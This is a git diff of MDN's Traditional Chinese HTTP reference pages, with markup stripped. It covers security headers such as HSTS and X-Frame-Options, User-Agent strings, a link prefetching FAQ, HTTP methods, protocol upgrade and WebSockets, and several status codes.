標頭,因為在 HTTP 連線下,該標頭可能是被惡意添加或是竄改的。瀏覽器僅會在使用 HTTPS 連線且該連線由合法的證書保護時回應該標頭的要求,唯有在這種情況下瀏覽器方能確定該站點有正確的 HTTPS 配置且標頭的確由該站點所要求。你連接到機場提供的免費 WIFI 並且登入你的網路銀行以察看可用餘額並支付帳單,不幸的是,你連上的無線網路實際上是黑客偽造的筆記型電腦。當你嘗試連上網路銀行時,實際上你連結的是黑客所偽造的網路銀行介面,現在,你的帳號密碼已經洩漏了。
- -HSTS 可以處理這項問題,你只要曾經在安全的環境下連結到你的網路銀行,且該銀行啟用了 HSTS ,那你的瀏覽器將會知道僅使用 HTTPS 進行通訊,而不會接受黑客的重定向請求,HSTS 從中間人手上保護了你的安全。
- -當你首次經由 HTTPS 存取使用 HSTS 的網站時,你的瀏覽器將會記憶此一要求,在未來你存取該網站時將會自動將 HTTP 轉為 HTTPS。
- -在 HSTS 標頭所指定的時間過期後,瀏覽器將不會自動將 HTTP 轉為 HTTPS。
- -無論何時將Strict-Transport-Security標頭傳遞到瀏覽器,它都會更新該網站的到期時間,因此網站可以更新此一訊息並防止該聲明到期。 如果有必要停用嚴格傳輸安全性,則將max-age設置為0(使用 HTTPS 連接)將立即使Strict-Transport-Security標頭過期,從而允許使用 HTTP 訪問。
- -Google maintains an HSTS preload service. By following the guidelines and successfully submitting your domain, browsers will never connect to your domain using an insecure connection. While the service is hosted by Google, all browsers have stated an intent to use (or actually started using) the preload list. However, it is not part of the HSTS specification and should not be treated as official.
- -All present and future subdomains will be HTTPS for a max-age of 1 year. This blocks access to pages or sub domains that can only be served over HTTP.
- -Strict-Transport-Security: max-age=31536000; includeSubDomains- -
{{Compat("http.headers.Strict-Transport-Security")}}
- -User-Agent 請求標頭(request header)含有能令網路協議同級層(peer)識別發出該用戶代理請求的軟體類型或版本號、該軟體使用的作業系統、還有軟體開發者的字詞串。
- -請讀讀透過用戶代理偵測瀏覽器以理解為什麼給不同的瀏覽器不同的頁面或服務是餿主意。
-標頭類型 | -{{Glossary("Request header")}} | -
---|---|
{{Glossary("Forbidden header name")}} | -否 | -
User-Agent: <product> / <product-version> <comment> -- -
瀏覽器常見格式:
- -User-Agent: Mozilla/5.0 (<system-information>) <platform> (<platform-details>) <extensions>- -
網路瀏覽器常用的格式:
- -User-Agent: Mozilla/<version> (<system-information>) <platform> (<platform-details>) <extensions> -- -
關於 Firefox 和基於 Gecko 的用戶代理字串,請參閱 Firefox 用戶代理字串參考。Firefox 用戶代理字串大略上分成以下四個部份:
- -Mozilla/5.0 (platform; rv:geckoversion) Gecko/geckotrail Firefox/firefoxversion
- -Mozilla/5.0
is the general token that says the browser is Mozilla-compatible. For historical reasons, almost every browser today sends it.Mobile
— the web is the platform. Note that platform can consist of multiple "; "
-separated tokens. See below for further details and examples.20100101
.)Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0 -Mozilla/5.0 (Macintosh; Intel Mac OS X x.y; rv:42.0) Gecko/20100101 Firefox/42.0 -- -
Chrome(或基於 Chromium/blink 引擎的瀏覽器)的用戶代理字串看起來像 Firefox。出於相容性的理由,它還會加上「KHTML, like Gecko」與「Safari」的字串。
- -Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36- -
因為 Opera 瀏覽器的引擎也是基於 blink 的,所以語法也看起來也會很像。不過,還會加上「 OPR/<version>」一詞。
- -Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36 OPR/38.0.2220.41- -
Opera 在使用 Presto 排版時的用戶代理字串
- -Opera/9.80 (Macintosh; Intel Mac OS X; U; en) Presto/2.2.15 Version/10.00 -Opera/9.60 (Windows NT 6.0; U; en) Presto/2.1.1- -
此例的 safari 用戶代理字串是攜帶版,所以會出現「Mobile」一詞。
- -Mozilla/5.0 (Linux; U; Android 4.0.3; de-ch; HTC Sensation Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30- -
Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0)- -
Googlebot/2.1 (+http://www.google.com/bot.html)- -
{{Compat("http.headers.User-Agent")}}
- -X-Forwarded-For
(XFF) 標頭是辨識用戶端透過 HTTP 代理或負載平衡 IP 位置來源的,事實上的標準。如果流量是在伺服器與用戶端中間擷取,伺服器日誌就只會代理或負載平衡的 IP 位置。如果要檢查用戶端的 IP 的原始來源,就會去檢查 X-Forwarded-For
請求標頭。
這個標頭用於除錯、分析、產生與位置相關的內容、透過設計也洩漏部分隱私資訊,例如用戶端的 IP 位置。因此在部署此標頭時,必須考慮到用戶的隱私。
- -此 HTTP 標頭的標準化版本為 {{HTTPHeader("Forwarded")}} 標頭。
- -X-Forwarded-For
也是個說明 email-message 是從哪個帳戶轉發的 email-header。
標頭屬性 | -{{Glossary("Request header")}} | -
---|---|
{{Glossary("Forbidden header name")}} | -no | -
X-Forwarded-For: <client>, <proxy1>, <proxy2> -- -
X-Forwarded-For: 2001:db8:85a3:8d3:1319:8a2e:370:7348 - -X-Forwarded-For: 203.0.113.195 - -X-Forwarded-For: 203.0.113.195, 70.41.3.18, 150.172.238.178 -- -
其他非標準變體:
- -# Used for some Google services -X-ProxyUser-Ip: 203.0.113.19- -
任何版本都沒有被標準化。標準化版本的標頭為 {{HTTPHeader("Forwarded")}}。
- -{{Compat("http.headers.X-Forwarded-For")}}
- -X-Frame-Options
HTTP 回應標頭 (header) 用來指示文件是否能夠透過 {{ HTMLElement("frame") }}、{{ HTMLElement("iframe") }} 以及 {{ HTMLElement("object") }} 載入。網站可以利用 X-Frame-Options
來確保本身內容不會遭惡意嵌入到其他網站、避免 clickjacking 攻擊。
僅當訪問文件的用戶使用支持 X-Frame-Options
的瀏覽器時,才提供附加的安全性。
Note: 在支援的瀏覽器中,{{HTTPHeader("Content-Security-Policy")}} 的 {{HTTPHeader("Content-Security-Policy/frame-ancestors", "frame-ancestors")}} 指令標準已經取代了非標準的 X-Frame-Options
。
共有三種值:
- -DENY
SAMEORIGIN
ALLOW-FROM uri
{{deprecated_inline}}請加入以下指令到網站組態設定檔:
- -Header always append X-Frame-Options SAMEORIGIN -- -
請加入以下指令到 http, server 或 location 組態設定檔:
- -- -add_header X-Frame-Options
SAMEORIGIN;
-
請加入以下指令到網站的 Web.config 檔:
- -<system.webServer>
- ...
-
- <httpProtocol>
- <customHeaders>
- <add name="X-Frame-Options" value="SAMEORIGIN" />
- </customHeaders>
- </httpProtocol>
-
- ...
-</system.webServer>
-
-
-請加入以下指令到 frontend, listen, 或 backend 組態設定檔:
- -rspadd X-Frame-Options:\ SAMEORIGIN -- -
Note: 設定 Meta tag 是無效的,像是 <meta http-equiv="X-Frame-Options" content="deny"> 便沒有任何效果,只有透過設定 HTTP header 才有效果,請勿採用。
-超文本傳輸協定 (HTTP) 是一種用來傳輸超媒體文件 (像是HTML文件) 的應用層協定,被設計來讓瀏覽器和伺服器進行溝通,但也可做其他用途。HTTP 遵循標準客戶端—伺服器模式,由客戶端連線以發送請求,然後等待接收回應。HTTP 是一種無狀態協定,意思是伺服器不會保存任兩個請求間的任何資料 (狀態)。儘管作為 TCP/IP 的應用層,HTTP 亦可應用於其他可靠的傳輸層 (例如 UDP),只要不會無聲無息地遺失訊息即可。
- -學習如何使用HTTP的指南和教程。
- -Set-Cookie
的HTTP header回應。客戶端將以header的方式回傳cookie值給每個請求的同 一個伺服器,Cookie也會在某些時間進行更新,或是限制一個實體網域或路徑。http://domaina.example/
) 從網域B(http://domainb.foo/image.jpg
)請求一個圖片,經由img
元件。現今的網頁通常會讀取跨站資源,包括CSS樣式表、圖片、腳本與其他資源。CORS允許網頁開發人員的網站響應跨站讀取。詳細的HTTP參考文件。
- -X-
prefix; others in an IANA registry, whose original content was defined in RFC 4229. IANA also maintains a registry of proposed new HTTP message headers.Helpful tools and resources for understanding and debugging HTTP.
- -A project designed to help developers, system administrators, and security professionals configure their sites safely and securely.
-預先取回連結 (Prefetch) 是一項瀏覽器機制;這項機制利用瀏覽器閒置時間,預先下載取回使用者稍後可能造訪的網頁資源。只要網頁告訴瀏覽器哪些資源可以預先取回,當瀏覽完成當下網頁載入工作後,瀏覽器便會在背景預先取回這些資源,並且存入快取之中,然後當使用者造訪預先取回的網頁時,網頁便可以快速地從快取中取出載入。
- -從 Gecko 1.9.1 (Firefox 3.5), HTTPS 內容也能被預先取回。
- -透過 HTML {{ HTMLElement("link") }} 或 HTTP Link:
標頭 (header) 便可以告訴瀏覽器哪些資源可以預先取回,範例如下:
利用 Link 元素
- -<link rel="prefetch" href="/images/big.jpeg"> -- -
利用 HTTP Link:
header:
Link: </images/big.jpeg>; rel=prefetch -- -
利用 meta 元素代表 Link: header :
- -<meta http-equiv="Link" content="</images/big.jpeg>; rel=prefetch"> -- -
Link:
header 的格式請參閱 RFC 5988 section 5。
可以指定多個預先取回資源,當瀏覽器閒置時,就會開始預先取回這些資源,例如:
- -<link rel="prefetch alternate stylesheet" title="Designed for Mozilla" href="mozspecific.css"> -<link rel="next" href="2.html"> -- -
不行。目前只有 rel 屬性為 prefetch 的 link 元素 (或標頭) 所標示的資源能被預先取回。
- -預先取回並沒有違反標準規範;事實上 HTML 4.01 允許新定義的 rel 型態 (see Section 6.12: Link types),只是 Mozilla 現在的機制還在 HTML5 標準化草稿作業中,請見 HTML5 標準: Link type "prefetch" .
- -目前 (Mozilla 1.2) 主要是透過 nsIWebProgressListener
API,向上層 nsIWebProgress
物件 ("@mozilla.org/docloaderservice;1") 註冊一個事件處理器;藉由此得知文件開啟和停止通知,所謂的閒置時間就是介於最後一個停止通知和下一個開始通知之間,而最後一個停止通知大約發生在 onLoad 事件觸發,由此瀏覽器開始預先取回各項資源。如果 frame 有指定需要預先取回的資源,那麼當最上層 frame 和其底下所有子 frame 的完成載入後,預先取回作業才會啟動。
一但有連結點擊或網頁載入觸發,預先取回作業會立刻中止;倘若預先取回作業執行到一半的連結資源恰巧就是被點擊的連結,如果伺服器回應標頭有表明 "Accept-Ranges: bytes" ,那麼剩下的資源就會透過 HTTP byte-range 請求取回。
- -不一定。Firefox 會先暫停預先取回作業直到背景下載任務結束,但如果是使用其他軟體下載檔案,那麼 Firefox 的預先取回作業並不會停止,未來 Firefox 計畫加入偵測作業系統的網路閒置時間 。
- -有。只有 http:// (and, starting in {{ Gecko("1.9.1") }} https://) URLs 能被預先取回,其它如 FTP 則無法。
- -會,因為預先取回並沒有 same-origin (同源政策) 的限制,同源限定並不會加強瀏覽器安全性。
- -有,預先取回帶有 HTTP Referer:
header 表明那份文件發起預先取回請求。
這或許會對追蹤 referer (參照位址) 造成影響,所以預先取回可能不適用於所有資源,不過還是可以利用 Cache-control: must-revalidate
HTTP 回應標頭,要求 Firefox 造訪預先取回的網頁,這個標頭允許快取,但是取用快取前需要先經過 If-Modified-Since
或 If-None-Match
宴請求。
Firefox 對每一個預先取回請求都會附帶如下標頭:
- -X-moz: prefetch- -
請注意這標頭並非標準之一,未來也有可能變更。
- -透過 about:config,或是在 profile 目錄底下的 prefs.js 檔內加入以下程式碼。
- -user_pref("network.prefetch-next", false); -- -
基本上可以分成兩個層面來看:第一、原本就可以利用 JS/DOM 來進行預先下載;第二、預先取回算是瀏覽器功能,應該要能夠讓使用者關閉。
- -利用 <link>
而非 JS/DOM 的特殊做法來預先取回資源比較好,因為瀏覽器可以做較佳的優先取回排序。另外預設開啟預先取回功能也是希望鼓勵網頁不要採用這類自行撰寫的 JS/DOM 做法。
Firefox 和 Netscape 7.01+。 測試瀏覽器是否支援預先取回功能。
- -預先取回會導致被取回網頁的 cookie 也一併被預先取回,例如搜尋 amazon,google 搜尋網頁會預先取回 www.amazon.com 網頁及其 cookie,如果想要阻擋第三方 cookie ,請參閱 Disabling third party cookies。
- -若是還有其他有關預先取回的問題,請不要客氣直接發問 :-)
- -diff --git a/files/zh-tw/web/http/link_prefetching_faq/index.md b/files/zh-tw/web/http/link_prefetching_faq/index.md new file mode 100644 index 00000000000000..67e8d58e47e104 --- /dev/null +++ b/files/zh-tw/web/http/link_prefetching_faq/index.md @@ -0,0 +1,117 @@ +--- +title: 預先取回連結 (Prefetch) 問答集 +slug: Web/HTTP/Link_prefetching_FAQ +translation_of: Web/HTTP/Link_prefetching_FAQ +--- +### 何謂預先取回連結 ? + +預先取回連結 (Prefetch) 是一項瀏覽器機制;這項機制利用瀏覽器閒置時間,預先下載取回使用者稍後可能造訪的網頁資源。只要網頁告訴瀏覽器哪些資源可以預先取回,當瀏覽完成當下網頁載入工作後,瀏覽器便會在背景預先取回這些資源,並且存入快取之中,然後當使用者造訪預先取回的網頁時,網頁便可以快速地從快取中取出載入。 + +### 能在 HTTPS 執行預先取回嗎 ? + +從 Gecko 1.9.1 (Firefox 3.5), HTTPS 內容也能被預先取回。 + +### 如何告訴瀏覽器預先取回資源 ? + +透過 HTML {{ HTMLElement("link") }} 或 [HTTP](/en/HTTP) `Link:` 標頭 (header) 便可以告訴瀏覽器哪些資源可以預先取回,範例如下: + +利用 Link 元素 + +```plain + +``` + +利用 HTTP `Link:` header: + +```plain +Link: ; rel=prefetch +``` + +利用 meta 元素代表 Link: header : + +```plain + +``` + +`Link:` header 的格式請參閱 [RFC 5988](http://tools.ietf.org/html/rfc5988) section 5。 + +可以指定多個預先取回資源,當瀏覽器閒置時,就會開始預先取回這些資源,例如: + +```plain + + +``` + +### \ 元素能被預先取回嗎 ? + +不行。目前只有 rel 屬性為 prefetch 的 link 元素 (或標頭) 所標示的資源能被預先取回。 + +### 預先取回 (Prefetch) 符合標準嗎 ? + +預先取回並沒有違反標準規範;事實上 HTML 4.01 允許新定義的 rel 型態 ([see Section 6.12: Link types](http://www.w3.org/TR/html4/types.html#type-links)),只是 Mozilla 現在的機制還在 HTML5 標準化草稿作業中,請見 HTML5 標準:[ Link type "prefetch"](http://www.whatwg.org/specs/web-apps/current-work/#link-type-prefetch) . + +### 如何判定瀏覽器是否閒置 ? + +目前 (Mozilla 1.2) 主要是透過 `nsIWebProgressListener` API,向上層 `nsIWebProgress` 物件 ("@[mozilla.org/docloaderservice;1](http://mozilla.org/docloaderservice;1)") 註冊一個事件處理器;藉由此得知文件開啟和停止通知,所謂的閒置時間就是介於最後一個停止通知和下一個開始通知之間,而最後一個停止通知大約發生在 onLoad 事件觸發,由此瀏覽器開始預先取回各項資源。如果 frame 有指定需要預先取回的資源,那麼當最上層 frame 和其底下所有子 frame 的完成載入後,預先取回作業才會啟動。 + +### 當預先取回執行中有連結被點擊時會如何 ? + +一但有連結點擊或網頁載入觸發,預先取回作業會立刻中止;倘若預先取回作業執行到一半的連結資源恰巧就是被點擊的連結,如果伺服器回應標頭有表明 "Accept-Ranges: bytes" ,那麼剩下的資源就會透過 HTTP byte-range 請求取回。 + +### 當在背景下載檔案,預先取回作業會佔用頻寬嗎 ? + +不一定。Firefox 會先暫停預先取回作業直到背景下載任務結束,但如果是使用其他軟體下載檔案,那麼 Firefox 的預先取回作業並不會停止,未來 Firefox 計畫加入偵測作業系統的網路閒置時間 。 + +### 預先取回有限制嗎 ? + +有。只有 http\:// (and, starting in {{ Gecko("1.9.1") }} https\://) URLs 能被預先取回,其它如 FTP 則無法。 + +### Mozilla 會預先取回不同網域的文件嗎 ? + +會,因為預先取回並沒有 same-origin (同源政策) 的限制,同源限定並不會加強瀏覽器安全性。 + +### 預先取回請求帶有 Referer: header 嗎 ? + +有,預先取回帶有 HTTP `Referer:` header 表明那份文件發起預先取回請求。 + +這或許會對追蹤 referer (參照位址) 造成影響,所以預先取回可能不適用於所有資源,不過還是可以利用 `Cache-control: must-revalidate` HTTP 回應標頭,要求 Firefox 造訪預先取回的網頁,這個標頭允許快取,但是取用快取前需要先經過 `If-Modified-Since` 或 `If-None-Match` 宴請求。 + +### 如何分辨來自一般和預先取回的請求 ? + +Firefox 對每一個預先取回請求都會附帶如下標頭: + +```plain +X-moz: prefetch +``` + +請注意這標頭並非標準之一,未來也有可能變更。 + +### 可以從偏好設定裡關閉預先取回嗎 ? + +透過 [about:config](/about:config),或是在 profile 目錄底下的 prefs.js 檔內加入以下程式碼。 + +```plain +user_pref("network.prefetch-next", false); +``` + +### 對頻寬使用量付費的使用者的影響 + +基本上可以分成兩個層面來看:第一、原本就可以利用 JS/DOM 來進行預先下載;第二、預先取回算是瀏覽器功能,應該要能夠讓使用者關閉。 + +利用 `` 而非 JS/DOM 的特殊做法來預先取回資源比較好,因為瀏覽器可以做較佳的優先取回排序。另外預設開啟預先取回功能也是希望鼓勵網頁不要採用這類自行撰寫的 JS/DOM 做法。 + +### 那些瀏覽器支援預先取回 ? + +Firefox 和 Netscape 7.01+。 [測試](http://gemal.dk/browserspy/prefetch.php)瀏覽器是否支援預先取回功能。 + +### 隱私權議題 + +預先取回會導致被取回網頁的 cookie 也一併被預先取回,例如搜尋 amazon,google 搜尋網頁會預先取回 [www.amazon.com](http://www.amazon.com) 網頁及其 cookie,如果想要阻擋第三方 cookie ,請參閱 [Disabling third party cookies](http://support.mozilla.com/en-US/kb/Disabling%20third%20party%20cookies)。 + +### 還有... ?What about...? + +若是還有其他有關預先取回的問題,請不要客氣直接發問 :-) + +#### 延伸閱讀 + +[Prefetching Hints](http://www.edochan.com/programming/pf.htm) diff --git a/files/zh-tw/web/http/methods/connect/index.html b/files/zh-tw/web/http/methods/connect/index.html deleted file mode 100644 index 547457217e562d..00000000000000 --- a/files/zh-tw/web/http/methods/connect/index.html +++ /dev/null @@ -1,69 +0,0 @@ ---- -title: CONNECT -slug: Web/HTTP/Methods/CONNECT -translation_of: Web/HTTP/Methods/CONNECT ---- -
HTTP CONNECT
方法會利用請求資源啟動一個雙向通訊。這通常可用於建立隧道。
舉例來說,CONNECT
方法可以用於存取使用 {{Glossary("SSL")}} ({{Glossary("HTTPS")}}) 的網站。客戶端請求 HTTP Proxy 伺服器建立 TCP 連結的隧道到指定的位置。伺服器接著代表客戶端建立連結。一但連結建立,Proxy 伺服器會持續收送 TCP 流到客戶端。
CONNECT
是個逐跳方法。
請求具有 Body | -否 | -
---|---|
成功回覆具有 Body | -是 | -
{{Glossary("Safe")}} | -否 | -
{{Glossary("Idempotent")}} | -否 | -
{{Glossary("Cacheable")}} | -否 | -
可用於 HTML 表單 | -否 | -
CONNECT www.example.com:443 HTTP/1.1 -- -
有些 Proxy 伺服器也許需要授權以建立隧道。請見 {{HTTPHeader("Proxy-Authorization")}} 標頭。
- -CONNECT server.example.com:80 HTTP/1.1 -Host: server.example.com:80 -Proxy-Authorization: basic aGVsbG86d29ybGQ=- -
{{Compat("http.methods.CONNECT")}}
- -HTTP GET
method 方法請求展示指定資源。 使用 GET
的請求只應用於取得資料。
Request 有 body | -No | -
---|---|
成功的 response 有 body | -Yes | -
{{Glossary("Safe")}} | -Yes | -
{{Glossary("Idempotent")}} | -Yes | -
{{Glossary("Cacheable")}} | -Yes | -
允許在 HTML 表單 | -Yes | -
GET /index.html -- -
{{Compat("http.methods.GET")}}
- -The HTTP POST
method sends data to the server. The type of the body of the request is indicated by the {{HTTPHeader("Content-Type")}} header.
The difference between PUT
and {{HTTPMethod("POST")}} is that PUT
is idempotent: calling it once or several times successively has the same effect (that is no side effect), where successive identical POST
may have additional effects, like passing an order several times.
A POST
request is typically sent via an HTML form and results in a change on the server. In this case, the content type is selected by putting the adequate string in the {{htmlattrxref("enctype", "form")}} attribute of the {{HTMLElement("form")}} element or the {{htmlattrxref("formenctype", "input")}} attribute of the {{HTMLElement("input") }} or {{HTMLElement("button")}} elements:
application/x-www-form-urlencoded
: the keys and values are encoded in key-value tuples separated by '&'
, with a '='
between the key and the value. Non-alphanumeric characters in both keys and values are {{glossary("percent-encoding", "percent encoded")}}: this is the reason why this type is not suitable to use with binary data (use multipart/form-data
instead)multipart/form-data
: each value is sent as a block of data ("body part"), with a user agent-defined delimiter ("boundary") separating each part. The keys are given in the Content-Disposition
header of each part.text/plain
When the POST
request is sent via a method other than an HTML form — like via an {{domxref("XMLHttpRequest")}} — the body can take any type. As described in the HTTP 1.1 specification, POST
is designed to allow a uniform method to cover the following functions:
Request has body | -Yes | -
---|---|
Successful response has body | -Yes | -
{{Glossary("Safe")}} | -No | -
{{Glossary("Idempotent")}} | -No | -
{{Glossary("Cacheable")}} | -Only if freshness information is included | -
Allowed in HTML forms | -Yes | -
POST /test -- -
使用 application/x-www-form-urlencoded
內容類型的簡易表單:
POST /test HTTP/1.1 -Host: foo.example -Content-Type: application/x-www-form-urlencoded -Content-Length: 27 - -field1=value1&field2=value2- -
使用 multipart/form-data
內容類型的表單:
POST /test HTTP/1.1 -Host: foo.example -Content-Type: multipart/form-data;boundary="boundary" - ---boundary -Content-Disposition: form-data; name="field1" - -value1 ---boundary -Content-Disposition: form-data; name="field2"; filename="example.txt" - -value2 ---boundary-- -- -
{{Compat("http.methods.POST")}}
- -{{HTTPSidebar}}
- -HTTP/1.1 協議提供了一種特殊的機制,這一機制允許將一個已建立的連接升級成新的、不相容的協議。這篇指南涵蓋了其運作原理和使用場景。
- -通常來說這一機制總是由客戶端發起的 (不過也有例外,比如說可以由服務端發起升級到傳輸層安全協議(TLS)), 服務端可以選擇是否要升級到新協議。借助這一技術,連接可以以常用的協議啟動(如HTTP/1.1),隨後再升級到HTTP2甚至是WebSockets.
- -注意:HTTP/2 明確禁止使用此機制,這個機制只屬於 HTTP/1.1
-
- 協議升級請求總是由客戶端發起的;暫時沒有服務端請求協議更改的機制。當客戶端試圖升級到一個新的協議時,可以先發送一個普通的請求({{HTTPMethod("GET")}},{{HTTPMethod("POST")}}等),不過這個請求需要進行特殊配置以包含升級請求。
- Upgrade 請求看起來就像:
GET /index.html HTTP/1.1 -Host: www.example.com -Connection: upgrade -Upgrade: example/1, foo/2 -- -
- 根據之前的請求的協議,可能需要其他頭部信息,例如:從HTTP/1.1升級到WebSocket 允許配置有關 WebSocket 連接的頭部詳細信息,以及在連接時提供一定程度的安全性。查看 Upgrading to a WebSocket connection 獲取更多信息。
如果服務器決定升級這次連接,就會返回一個 {{HTTPStatus(101, "101 Switching Protocols")}} 響應狀態碼,和一個要切換到的協議的頭部字段Upgrade。 如果服務器沒有(或者不能)升級這次連接,它會忽略客戶端發送的 "Upgrade 頭部字段,返回一個常規的響應:例如一個{{HTTPStatus(200, "200 OK")}}).
- -服務在發送 101 狀態碼之後,就可以使用新的協議,並可以根據需要執行任何其他協議指定的握手。實際上,一旦這次升級完成了,連接就變成了雙向管道。並且可以通過新協議完成啟動升級的請求。
- -Here we look at the most common use cases for the {{HTTPHeader("Upgrade")}} header.
- -By far, the most common use case for upgrading an HTTP connection is to use WebSockets, which are always implemented by upgrading an HTTP or HTTPS connection. Keep in mind that if you're opening a new connection using the WebSocket API, or any library that does WebSockets, most or all of this is done for you. For example, opening a WebSocket connection is as simple as:
- -webSocket = new WebSocket("ws://destination.server.ext", "optionalProtocol");- -
The {{domxref("WebSocket.WebSocket", "WebSocket()")}} constructor does all the work of creating an initial HTTP/1.1 connection then handling the handshaking and upgrade process for you.
- -You can also use the "wss://"
URL scheme to open a secure WebSocket connection.
If you need to create a WebSocket connection from scratch, you'll have to handle the handshaking process yourself. After creating the initial HTTP/1.1 session, you need to request the upgrade by adding to a standard request the {{HTTPHeader("Upgrade")}} and {{HTTPHeader("Connection")}} headers, as follows:
- -Connection: Upgrade -Upgrade: websocket- -
The following headers are involved in the WebSocket upgrade process. Other than the {{HTTPHeader("Upgrade")}} and {{HTTPHeader("Connection")}} headers, the rest are generally optional or handled for you by the browser and server when they're talking to each other.
- -Specifies one or more protocol-level WebSocket extensions to ask the server to use. Using more than one Sec-WebSocket-Extension
header in a request is permitted; the result is the same as if you included all of the listed extensions in one such header.
Sec-WebSocket-Extensions: extensions- -
extensions
For example:
- -Sec-WebSocket-Extensions: superspeed, colormode; depth=16- -
Provides information to the server which is needed in order to confirm that the client is entitled to request an upgrade to WebSocket. This header can be used when insecure (HTTP) clients wish to upgrade, in order to offer some degree of protection against abuse. The value of the key is computed using an algorithm defined in the WebSocket specification, so this does not provide security. Instead, it helps to prevent non-WebSocket clients from inadvertently, or through misuse, requesting a WebSocket connection. In essence, then, this key simply confirms that "Yes, I really mean to open a WebSocket connection."
- -This header is automatically added by clients that choose to use it; it cannot be added using the {{domxref("XMLHttpRequest.setRequestHeader()")}} method.
- -Sec-WebSocket-Key: key- -
key
The server's response's {{HTTPHeader("Sec-WebSocket-Accept")}} header will have a value computed based upon the specified key
.
The Sec-WebSocket-Protocol
header specifies one or more WebSocket protocols that you wish to use, in order of preference. The first one that is supported by the server will be selected and returned by the server in a Sec-WebSocket-Protocol
header included in the response. You can use this more than once in the header, as well; the result is the same as if you used a comma-delineated list of subprotocol identifiers in a single header.
Sec-WebSocket-Protocol: subprotocols- -
subprotocols
Specifies the WebSocket protocol version the client wishes to use, so the server can confirm whether or not that version is supported on its end.
- -Sec-WebSocket-Version: version- -
version
If the server can't communicate using the specified version of the WebSocket protocol, it will respond with an error (such as 426 Upgrade Required) that includes in its headers a Sec-WebSocket-Version
header with a comma-separated list of the supported protocol versions. If the server does support the requested protocol version, no Sec-WebSocket-Version
header is included in the response.
Sec-WebSocket-Version: supportedVersions- -
supportedVersions
The response from the server may include these.
- -Included in the response message from the server during the opening handshake process when the server is willing to initiate a WebSocket connection. It will appear no more than once in the response headers.
- -Sec-WebSocket-Accept: hash- -
hash
HTTP 206 Partial Content
成功狀態碼表明請求成功,且主體包含在請求標頭{{HTTPHeader("Range")}} 中所指定的資料區間。
若只包含一個區間,則整個回應的 {{HTTPHeader("Content-Type")}} 將會被設為該文件的類型 ,且會包含一個 {{HTTPHeader("Content-Range")}} 標頭。
- -若有多個區間,則整個回應的 {{HTTPHeader("Content-Type")}} 會被設為 multipart/byteranges
,且每個分段會對應一個區間,並有 {{HTTPHeader("Content-Range")}} 及 {{HTTPHeader("Content-Type")}} 描述各個區間。
206 Partial Content- -
一個包含單一區間的回應:
- -HTTP/1.1 206 Partial Content -Date: Wed, 15 Nov 2015 06:25:24 GMT -Last-Modified: Wed, 15 Nov 2015 04:58:08 GMT -Content-Range: bytes 21010-47021/47022 -Content-Length: 26012 -Content-Type: image/gif - -... 26012 bytes of partial image data ...- -
一個包含多個區間的回應:
- -HTTP/1.1 206 Partial Content -Date: Wed, 15 Nov 2015 06:25:24 GMT -Last-Modified: Wed, 15 Nov 2015 04:58:08 GMT -Content-Length: 1741 -Content-Type: multipart/byteranges; boundary=String_separator - ---String_separator -Content-Type: application/pdf -Content-Range: bytes 234-639/8000 - -...the first range... ---String_separator -Content-Type: application/pdf -Content-Range: bytes 4590-7999/8000 - -...the second range ---String_separator--- -
{{Compat("http.status.206")}}
- -HTTP 404 Not Found
用戶端錯誤回應碼,表明了伺服器找不到請求的資源。引發 404 頁面的連結,通常被稱作斷連或死連(broken or dead link)、並可以導到失效連結(link rot)頁面。
404 狀態碼並沒有表明資源是暫時不見、還是永遠不見。如果資源是永遠不見,就應該用 {{HTTPStatus(410)}}(Gone) 而不是 404。
- -404 Not Found- -
很多網站都會自訂 404 錯誤頁面,以便在指引用戶後續動作方面,提供進一步的幫助。Apache 伺服器可以透過 .htaccess
檔案設定,程式碼如下:
ErrorDocument 404 /notfound.html- -
要參考自訂 404 錯誤頁面範例,請看看 MDN 的 404 頁面。
- -適度地客製是件好事:你可以讓 404 頁面幽默和人性化,但不要讓用戶困惑。
-{{Compat("http.status.404")}}
- -超文本傳輸協定 (HTTP) 411 Length Required
用戶端錯誤表示伺服器拒絕接收沒有定義 {{HTTPHeader("Content-Length")}} 頭的請求。
Note: by specification, when sending data in a series of chunks, the Content-Length
header is omitted and at the beginning of each chunk you need to add the length of the current chunk in hexadecimal format. See {{HTTPHeader("Transfer-Encoding")}} for more details.
411 Length Required- -
502 Bad Gateway
錯誤表明伺服器以閘道器或代理訪問時,收到了來自上游服務器的無效回應。
注意:閘道器可能位於網路上的不同地方。502 錯誤通常也不是開發者可以修復的,他通常需要在要訪問的的伺服器或代理修復之。
-502 Bad Gateway -- -
The information shown below has been pulled from MDN's GitHub (https://github.com/mdn/browser-compat-data).
- - - -{{Compat("http.status.502")}}
- -超文本傳輸協定(英文:HyperText Transfer Protocol (HTTP) ) 503 Service Unavailable
表示目前伺服器暫時不能處理連線的請求。
起因通常是伺服器正在進行維護或是當下流量過載。這種錯誤回傳應該是暫時性的,並且{{HTTPHeader("Retry-After")}} HTTP header 中要盡可能描述到系統大概恢復正常的時間。.
- -注意:回傳這種錯誤的同時,也要同時顯示一張對使用者友善的網頁,來簡單描述問題。
-回傳此錯誤時,務必注意和快取存取相關的標頭(Caching-related headers),因為 503 狀態通常要是暫時性的,而這種回應不應該被暫存至快取。
- -503 Service Unavailable- -
以下資訊是從 MDN 的 GitHub 取得 (https://github.com/mdn/browser-compat-data).
- -{{Compat("http.status.503")}}
- -504 Gateway Timeout
錯誤表明伺服器以閘道器或代理訪問時,並沒有上游伺服器即時收到完成請求所需的回應。
注意:閘道器可能位於網路上的不同地方。502 錯誤通常也不是開發者可以修復的,通常需要在要訪問的的伺服器或代理修復之。
-504 Gateway Timeout- -
The information shown below has been pulled from MDN's GitHub (https://github.com/mdn/browser-compat-data).
- -{{Compat("http.status.504")}}
- -HTTP 狀態碼表明一個 HTTP 要求是否已經被完成。回應分為五種:
- -100
–199
),200
–299
),300
–399
),400
–499
),500
–599
).以下的狀態碼定義在 section 10 of RFC 2616 中。你可以在 RFC 7231 查看更新過的規範。
- -如果你收到任何不在清單內的回應,那很可能伺服器自行軟體實作的非標準規範。
-305 Use Proxy
